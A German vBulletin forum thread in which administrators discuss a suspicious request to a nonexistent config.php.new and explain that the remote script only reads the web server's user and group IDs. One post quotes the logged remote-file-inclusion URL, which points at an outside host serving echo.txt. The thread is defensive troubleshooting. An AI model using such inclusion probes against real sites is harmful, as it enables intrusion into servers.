Schädliches Echo-Skript?

[captainslater]

Folgendes Skript sollte bei mir im Forum ausgeführt werden (anhand einer nicht vorhandenen config.php.new)

CODE:
----------
Der Inhalt dieses Abschnitts ist nur für Lizenznehmer sichtbar, Sie werden derzeit jedoch nicht als Lizenzinhaber erkannt.<br />
<br />
Bitte öffnen Sie den <a href="http://members.vbulletin-germany.com/membersupport_priority.php">Kundenbereich</a>, tragen Sie Ihre E-Mail-Adresse ein, mit der Sie sich hier registriert haben und aktivieren Sie die Lizenzüberprüfung für http://www.vbulletin-germany.org.
----------Was hätte das wohl bewirkt?

[GameR]

Also so wie die Funktionen aussehen wird hier
exec und dessen anderen Vertretter aufgerufen.
Diese Funktionen starten ein Externees Programm und verwerten deren Ausgabe.
Sollte das nicht gelingen wird mit popen ein Befehl gesendet und damit die Ausgabe verwertet.
Um genauer zu sein geht es hier um irgendwelche bestimmte IDs. Um genauer zusein um die UID und GID. Also Gruppe und Userzuordnung und deren Rechte!

Ums ganz kurz zu machen, diese Script soll rausfinden welche UserID du im Unix hast und welche GroupID. Besser, um die des Webservers, mit welchem User und welchen Gruppenrechte der ausgestattet ist.

[Montoyafan]

Schlicht: Das sind 5 Funktionen um die Gruppen-, und Benutzer-ID's auszulesen und anzuzeigen.
Sollte ein scheitern (weil die entsprechende Funktion deaktiviert ist), wird die nächste getestet.

Eine direkte Gefahr geht von diesem Script nicht aus, da es nur ausliest und nichts ändert.
Auf dem Space würde ich das denoch nicht liegen lassen, hehe.

Cu

[captainslater]

Danke für die Aufklärung. Bin darauf auch nur aufmerksam geworden als ich bei mir im Forum den Aufruf dieses extern gespeicherten Skriptes in der WOL sah.

[hcmagix]

echo "Mic22";


Nur ein Gedanke neulich trieb sich ein Mic67 bei mir rum der diese dummer Werbung für dieses wbb Problem Forum zu machen wie er es auch bei vbG schon getan hat.

[Marco van Herwaarden]

Danke für die Aufklärung. Bin darauf auch nur aufmerksam geworden als ich bei mir im Forum den Aufruf dieses extern gespeicherten Skriptes in der WOL sah.
Sorry for the english reply, but it will be more understandable then if i respond in german. ;)

Something does not add up with that. You say you noticed the script in the WOL locations, but this script does not set a session (no include of global.php for example). So why did it show in the WOL??

[captainslater]

No problem for the english answer, Marco :)

The guest called the script via an external URL.
On WOL I've seen mydomain.de/includes/config.php.new?http://www.feniks-sd.hr/cache/echo.txt

[MrD]

Hi,
Nur ein Gedanke neulich trieb sich ein Mic67 bei mir rum der diese dummer Werbung für dieses wbb Problem Forum zu machen wie er es auch bei vbG schon getan hat.

meinst so mit dem Text:
Bin über das problemlöserforum auf eure Seite gestoßen, schaut doch mal vorbei.

Ist echt nervig der Typ

[hcmagix]

jipp genau

[Marco van Herwaarden]

No problem for the english answer, Marco :)

The guest called the script via an external URL.
On WOL I've seen mydomain.de/includes/config.php.new?http://www.feniks-sd.hr/cache/echo.txt
Even that should not be including global.php or init.php, so how does the session get set that is showing in the WOL.

[captainslater]

Even that should not be including global.php or init.php, so how does the session get set that is showing in the WOL.

This is a real interesting question which I can't answer.

On WOL it was in the common sorting: guest, url from above and ip was somenumbers.renderspace.si

[StGaensler]

Even that should not be including global.php or init.php, so how does the session get set that is showing in the WOL.
That can happen if you internally redirect all requests to nonexistent files to your forumhome or if you define your forumhome as 404 error page.

[Vossi]

I got the same thing captainslater is talking about, actually from some belgium server (check: http://www.vbulletin-germany.com/forum/showthread.php?t=29979 and then post #8 with a screenshot of WOL when it happened). Somehow the 'other side' was trying to ask for the impex-folder which I don't have... :D